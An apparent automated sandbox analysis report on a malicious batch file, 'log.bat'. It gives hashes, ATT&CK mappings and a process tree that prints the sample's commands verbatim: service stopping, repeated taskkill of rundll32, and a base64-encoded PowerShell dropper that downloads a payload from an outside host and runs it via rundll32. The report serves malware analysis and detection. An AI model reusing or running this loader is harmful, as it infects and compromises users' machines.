2244bc0ca36be4f19b6ca54716e81a22c8029e03c7884492a5bf2100685b234b

Analysis

max time kernel
148s
max time network
147s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/07/2026, 12:25

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General

Target
log.bat
Size 3KB
Sample260729-pl2w1athkf
SHA256 2244bc0ca36be4f19b6ca54716e81a22c8029e03c7884492a5bf2100685b234b
MD5 1c1a1650d6f6a0cf28d760b51f18a3cb
SHA1 5a3812da1022111e3729e20bad2badad9d734d20
SHA512 797c4dac9b4b80bd308271f90c19d6847930e0bacb88e90c78edac76944f778d016be836a3ac5a4f1f720f1525a351d252823e693f223be6cc5aa5869331093e
TLSH
T1AC61760B2C4A3D14CB90D1D109DD64D7D7AFC31F5EE66DE89086D6847EB222A20EB5CD
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://p.gxyibai.cn/sk/SKXP.txt

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	2620	powershell.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2620	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2580	sc.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2900	cmd.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
4636	timeout.exe

Kills process with taskkill 11 IoCs

defense_evasion

pid	Process
3304	taskkill.exe
1484	taskkill.exe
4172	taskkill.exe
1300	taskkill.exe
2592	taskkill.exe
1196	taskkill.exe
4592	taskkill.exe
3000	taskkill.exe
2260	taskkill.exe
4916	taskkill.exe
4956	taskkill.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2620	powershell.exe
2620	powershell.exe
2620	powershell.exe
2620	powershell.exe
5900	powershell.exe
5900	powershell.exe

Suspicious use of AdjustPrivilegeToken 39 IoCs

description	pid	Process
Token: SeDebugPrivilege	4168	whoami.exe
Token: SeDebugPrivilege	4168	whoami.exe
Token: SeDebugPrivilege	4168	whoami.exe
Token: SeDebugPrivilege	4168	whoami.exe
Token: SeDebugPrivilege	4168	whoami.exe
Token: SeDebugPrivilege	4168	whoami.exe
Token: SeDebugPrivilege	4168	whoami.exe
Token: SeDebugPrivilege	4168	whoami.exe
Token: SeDebugPrivilege	4168	whoami.exe
Token: SeDebugPrivilege	4168	whoami.exe
Token: SeDebugPrivilege	4168	whoami.exe
Token: SeDebugPrivilege	4168	whoami.exe
Token: SeDebugPrivilege	4168	whoami.exe
Token: SeDebugPrivilege	4168	whoami.exe
Token: SeDebugPrivilege	4168	whoami.exe
Token: SeDebugPrivilege	4168	whoami.exe
Token: SeDebugPrivilege	4168	whoami.exe
Token: SeDebugPrivilege	4168	whoami.exe
Token: SeDebugPrivilege	4168	whoami.exe
Token: SeDebugPrivilege	4168	whoami.exe
Token: SeDebugPrivilege	4168	whoami.exe
Token: SeDebugPrivilege	4168	whoami.exe
Token: SeDebugPrivilege	4168	whoami.exe
Token: SeDebugPrivilege	4168	whoami.exe
Token: SeDebugPrivilege	4168	whoami.exe
Token: SeDebugPrivilege	4168	whoami.exe
Token: SeDebugPrivilege	2260	taskkill.exe
Token: SeDebugPrivilege	4916	taskkill.exe
Token: SeDebugPrivilege	4956	taskkill.exe
Token: SeDebugPrivilege	1484	taskkill.exe
Token: SeDebugPrivilege	4172	taskkill.exe
Token: SeDebugPrivilege	1300	taskkill.exe
Token: SeDebugPrivilege	2592	taskkill.exe
Token: SeDebugPrivilege	1196	taskkill.exe
Token: SeDebugPrivilege	4592	taskkill.exe
Token: SeDebugPrivilege	3304	taskkill.exe
Token: SeDebugPrivilege	3000	taskkill.exe
Token: SeDebugPrivilege	2620	powershell.exe
Token: SeDebugPrivilege	5900	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2900 wrote to memory of 4168	2900	cmd.exe	89
PID 2900 wrote to memory of 2004	2900	cmd.exe	91
PID 2900 wrote to memory of 2580	2900	cmd.exe	92
PID 2900 wrote to memory of 4636	2900	cmd.exe	93
PID 2900 wrote to memory of 2260	2900	cmd.exe	94
PID 2900 wrote to memory of 4916	2900	cmd.exe	96
PID 2900 wrote to memory of 4956	2900	cmd.exe	97
PID 2900 wrote to memory of 1484	2900	cmd.exe	98
PID 2900 wrote to memory of 4172	2900	cmd.exe	99
PID 2900 wrote to memory of 1300	2900	cmd.exe	100
PID 2900 wrote to memory of 2592	2900	cmd.exe	101
PID 2900 wrote to memory of 1196	2900	cmd.exe	102
PID 2900 wrote to memory of 4592	2900	cmd.exe	103
PID 2900 wrote to memory of 3304	2900	cmd.exe	104
PID 2900 wrote to memory of 3000	2900	cmd.exe	105
PID 2900 wrote to memory of 2620	2900	cmd.exe	106
PID 2620 wrote to memory of 5984	2620	powershell.exe	107
PID 2620 wrote to memory of 5900	2620	powershell.exe	109

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	4	curl/8.8.0

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\log.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2900
- C:\Windows\system32\whoami.exe
  whoami /groups
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4168
- C:\Windows\system32\find.exe
  find "S-1-16-12288"
  2⤵
  PID:2004
- C:\Windows\system32\sc.exe
  sc stop MessageTransfer
  2⤵
  - Launches sc.exe
  PID:2580
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4636
- C:\Windows\system32\taskkill.exe
  taskkill /IM rundll32.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2260
- C:\Windows\system32\taskkill.exe
  taskkill /IM rundll32.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4916
- C:\Windows\system32\taskkill.exe
  taskkill /IM rundll32.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4956
- C:\Windows\system32\taskkill.exe
  taskkill /IM rundll32.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1484
- C:\Windows\system32\taskkill.exe
  taskkill /IM rundll32.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4172
- C:\Windows\system32\taskkill.exe
  taskkill /IM rundll32.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1300
- C:\Windows\system32\taskkill.exe
  taskkill /IM rundll32.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2592
- C:\Windows\system32\taskkill.exe
  taskkill /IM rundll32.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1196
- C:\Windows\system32\taskkill.exe
  taskkill /IM rundll32.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4592
- C:\Windows\system32\taskkill.exe
  taskkill /IM rundll32.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3304
- C:\Windows\system32\taskkill.exe
  taskkill /IM rundll32.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "iex ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHJhbmRvbURpciA9ICRlbnY6VEVNUCArICdcJyArIChHZXQtRGF0ZSAtRm9ybWF0ICJ5eXl5TU1kZEhIbW1zcyIpKyAoR2V0LVJhbmRvbSkKJG91dEZpbGUgPSAkcmFuZG9tRGlyICsgJ1xsb2cudHh0JwpOZXctSXRlbSAtUGF0aCAkcmFuZG9tRGlyIC1JdGVtVHlwZSBEaXJlY3RvcnkgLUZvcmNlCiRkb3dubG9hZExpbms9J2h0dHBzOi8vcC5neHlpYmFpLmNuL3NrL1NLWFAudHh0JzsKdHJ5IHsKICAgICRiYXNlNjRFbmNvZGVkQ29udGVudCA9IEludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGRvd25sb2FkTGluayAtRXJyb3JBY3Rpb24gU3RvcAp9IGNhdGNoIHsKICAgIHRyeSB7CiAgICAgICAgJGJhc2U2NEVuY29kZWRDb250ZW50ID0gJiBjdXJsLmV4ZSAtcyAkZG93bmxvYWRMaW5rCiAgICAgICAgaWYgKC1ub3QgJGJhc2U2NEVuY29kZWRDb250ZW50KSB7CiAgICAgICAgICAgIHRocm93ICJGaWxlIGRvd25sb2FkIGZhaWxlZCB1c2luZyBjdXJsLiIKICAgICAgICB9CiAgICB9IGNhdGNoIHsKICAgICAgICBTdGFydC1TbGVlcCAtU2Vjb25kcyAyCiAgICAgICAgJHNjcmlwdFBhdGggPSAkTXlJbnZvY2F0aW9uLk15Q29tbWFuZC5QYXRoCiAgICAgICAgJHByb2Nlc3MgPSBTdGFydC1Qcm9jZXNzIC1GaWxlUGF0aCAicG93ZXJzaGVsbC5leGUiIC1Bcmd1bWVudExpc3QgIi1Db21tYW5kIFN0YXJ0LVNsZWVwIC1TZWNvbmRzIDE7IFJlbW92ZS1JdGVtIC1QYXRoICckc2NyaXB0UGF0aCcgLUZvcmNlIiAtTm9OZXdXaW5kb3cKICAgICAgICBleGl0CiAgICB9Cn0KJGJpbmFyeUNvbnRlbnQgPSBbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGJhc2U2NEVuY29kZWRDb250ZW50KQokYmluYXJ5RGF0YT0kYmluYXJ5Q29udGVudAokcGF0dGVybiA9IFtieXRlW11dKDB4RDcsIDB4OTcsIDB4MTAsIDB4MDAsIDB4RDcsIDB4OTcsIDB4MTAsIDB4MDAsIDB4RDYsIDB4OTcsIDB4MEYsIDB4MEEsIDB4RDksIDB4OTcsIDB4MTEsIDB4MkQsCiAgICAgICAgICAgICAgICAgICAgMHhEQiwgMHg5NywgMHgxMiwgMHg3NCwgMHhEQiwgMHg5NiwgMHgxMSwgMHhBOCwgMHhEQiwgMHg5NiwgMHgxMSwgMHhEOSwgMHhEQiwgMHg5NiwgMHgxMiwgMHhGRiwgMHhEQiwgMHg5NikKJHJlcGxhY2VfbGVuZ3RoID0gMTY3OTYKJHBvcyA9IC0xCmZvciAoJGkgPSAwOyAkaSAtbGUgJGJpbmFyeURhdGEuTGVuZ3RoIC0gJHBhdHRlcm4uTGVuZ3RoOyAkaSsrKSB7CiAgICAkbWF0Y2ggPSAkdHJ1ZQogICAgZm9yICgkaiA9IDA7ICRqIC1sdCAkcGF0dGVybi5MZW5ndGg7ICRqKyspIHsKICAgICAgICBpZiAoJGJpbmFyeURhdGFbJGkgKyAkal0gLW5lICRwYXR0ZXJuWyRqXSkgewogICAgICAgICAgICAkbWF0Y2ggPSAkZmFsc2UKICAgICAgICAgICAgYnJlYWsKICAgICAgICB9CiAgICB9CiAgICBpZiAoJG1hdGNoKSB7CiAgICAgICAgJHBvcyA9ICRpCiAgICAgICAgYnJlYWsKICAgIH0KfQppZiAoJHBvcyAtZ2UgMCkgewogICAgJHJhbmRvbUJ5dGVzID0gTmV3LU9iamVjdCBieXRlW10gJHJlcGxhY2VfbGVuZ3RoCiAgICAoTmV3LU9iamVjdCBSYW5kb20pLk5leHRCeXRlcygkcmFuZG9tQnl0ZXMpCiAgICBbQXJyYXldOjpDb3B5KCRyYW5kb21CeXRlcywgMCwgJGJpbmFyeURhdGEsICRwb3MsICRyZXBsYWNlX2xlbmd0aCkKICAgICRiaW5hcnlDb250ZW50PSRiaW5hcnlEYXRhCn0gZWxzZSB7CiAgICBXcml0ZS1PdXRwdXQgIuacquaJvuWIsOWMuemFjeWtl+iKguW6j+WIlyIKfQpbU3lzdGVtLklPLkZpbGVdOjpXcml0ZUFsbEJ5dGVzKCRvdXRGaWxlLCAkYmluYXJ5Q29udGVudCkKcnVuZGxsMzIgJG91dEZpbGUsWFBBOw==')))"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2620
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -s https://p.gxyibai.cn/sk/SKXP.txt
    3⤵
    PID:5984
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Start-Sleep -Seconds 1; Remove-Item -Path '' -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5900

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 0f57c6ef4f062e398afd897db02f67d987e3e600973e8f450001f4e6d249b0fe
MD5 07eb30064ce437898674846e08a80887
SHA1 1e26e3ffc7c74016d094ec318f9a0ff94019fabe
SHA512 8a6d441cc00f74b63f40d24126774ee41ee620918cd20c4a5685ab4119d66dd45b7d55f78d6ac6c8be585bc06f66677a53ed9ceda520c59a6ed62bf2f4180530
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoV3CNBQkj2Va5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9RF
TLSH
T137636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 78a1b0900a13d013a6c088c8b8eadf6e32f44840b3ba995e8e2ceccecc111df2
MD5 061edb3c621f763184ba561a082ff108
SHA1 4c5671d139b7137f1f116494f1a777e713003fb3
SHA512 3889ba308e0b437daefefd8180f74c6dddfcf055c34a541c16aa1e9d7f9fdf1f4804abf390257bea4701e17232323f0e8ae8a80a13f263f243b7420c44844567
TLSH
T1D1218933B3DC8614CC8A403A10CEAC1036B6C7DB809ECFABBB84D544B42F699DE60260
MD5 SHA1 SHA512 TLSH

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memory/2620-2-0x0000019271AD0000-0x0000019271AF2000-memory.dmp

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